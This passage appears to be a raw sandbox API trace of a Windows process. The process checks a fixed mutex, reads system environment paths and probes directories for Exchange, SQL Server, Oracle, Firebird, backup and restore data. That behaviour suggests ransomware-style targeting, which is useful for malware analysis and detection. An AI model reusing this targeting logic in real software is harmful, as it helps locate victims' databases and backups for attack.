0x557b78 [0059.405] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.405] GlobalUnlock (hMem=0x440004) returned 0 [0059.405] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.405] GlobalUnlock (hMem=0x44000c) returned 0 [0059.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0059.405] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.405] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0059.405] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0059.405] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0059.405] GetLastError () returned 0x12 [0059.405] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0059.405] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.405] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.405] GlobalUnlock (hMem=0x44000c) returned 0 [0059.405] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.405] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.405] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.405] GlobalUnlock (hMem=0x44000c) returned 0 [0059.405] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.405] GlobalUnlock (hMem=0x440004) returned 0 [0059.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0059.406] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0059.406] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.406] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.406] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.406] GlobalUnlock (hMem=0x440004) returned 0 [0059.406] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.406] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.406] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.406] GlobalUnlock (hMem=0x440004) returned 0 [0059.406] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.406] GlobalUnlock (hMem=0x44000c) returned 0 [0059.406] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.406] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.406] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0059.406] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.406] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.406] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.406] GlobalUnlock (hMem=0x44000c) returned 0 [0059.406] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.406] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.406] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.406] GlobalUnlock (hMem=0x44000c) returned 0 [0059.406] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.406] GlobalUnlock (hMem=0x440004) returned 0 [0059.406] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.407] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0059.407] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0059.407] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.407] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.407] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.407] GlobalUnlock (hMem=0x440004) returned 0 [0059.407] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.407] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.407] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.407] GlobalUnlock (hMem=0x440004) returned 0 [0059.407] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.407] GlobalUnlock (hMem=0x44000c) returned 0 [0059.407] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.407] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.407] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.407] GlobalUnlock (hMem=0x44000c) returned 0 [0059.407] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.407] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.407] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.407] GlobalUnlock (hMem=0x44000c) returned 0 [0059.407] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.407] GlobalUnlock (hMem=0x440004) returned 0 [0059.408] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.408] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR", len=0x32 | out: pbstr=0x18f104*="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned 1 [0059.408] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.408] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.408] GlobalUnlock (hMem=0x440004) returned 0 [0059.408] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.408] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.408] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.408] GlobalUnlock (hMem=0x440004) returned 0 [0059.408] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.408] GlobalUnlock (hMem=0x44000c) returned 0 [0059.408] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꢞRꡲR企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0059.412] GetLastError () returned 0x3 [0059.412] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0059.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@ꠌR企@\x18䄌Q\x181")) returned 0xffffffff [0059.415] GetLastError () returned 0x2 [0059.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0059.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@嶌U企@\x18?T\x18;")) returned 0xffffffff [0059.418] GetLastError () returned 0x2 [0059.418] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.418] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0059.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@尼U企@\x18?T\x18D")) returned 0xffffffff [0059.421] GetLastError () returned 0x2 [0059.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0059.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@ꠌR企@\x18嶌U\x18j")) returned 0xffffffff [0059.424] GetLastError () returned 0x2 [0059.424] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.424] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0059.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@嵤R企@\x18?T\x18q")) returned 0xffffffff [0059.426] GetLastError () returned 0x2 [0059.426] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.426] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\嶈U ") returned 6 [0059.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@帬R企@\x18?T\x18y")) returned 0xffffffff [0059.429] GetLastError () returned 0x2 [0059.429] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.429] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0059.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@尼U企@\x18?T\x18\x81")) returned 0xffffffff [0059.432] GetLastError () returned 0x2 [0059.432] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0059.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@嵤R企@\x18?T\x18\x88")) returned 0xffffffff [0059.433] GetLastError () returned 0x2 [0059.433] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0059.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@帬R企@\x18?T\x18\x8f")) returned 0xffffffff [0059.437] GetLastError () returned 0x2 [0059.437] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0059.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="꣄R䱠@尼U企@\x18?T\x18\x97")) returned 0xffffffff [0059.439] GetLastError () returned 0x2 [0059.439] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0059.439] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.439] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.439] GlobalUnlock (hMem=0x44000c) returned 0 [0059.440] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.440] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.440] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.440] GlobalUnlock (hMem=0x44000c) returned 0 [0059.440] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.440] GlobalUnlock (hMem=0x440004) returned 0 [0059.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.440] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0059.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.440] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0059.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0059.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.440] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.440] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0059.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.440] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.440] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.440] GlobalUnlock (hMem=0x440004) returned 0 [0059.440] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.440] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.440] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.440] GlobalUnlock (hMem=0x440004) returned 0 [0059.440] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.440] GlobalUnlock (hMem=0x44000c) returned 0 [0059.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft 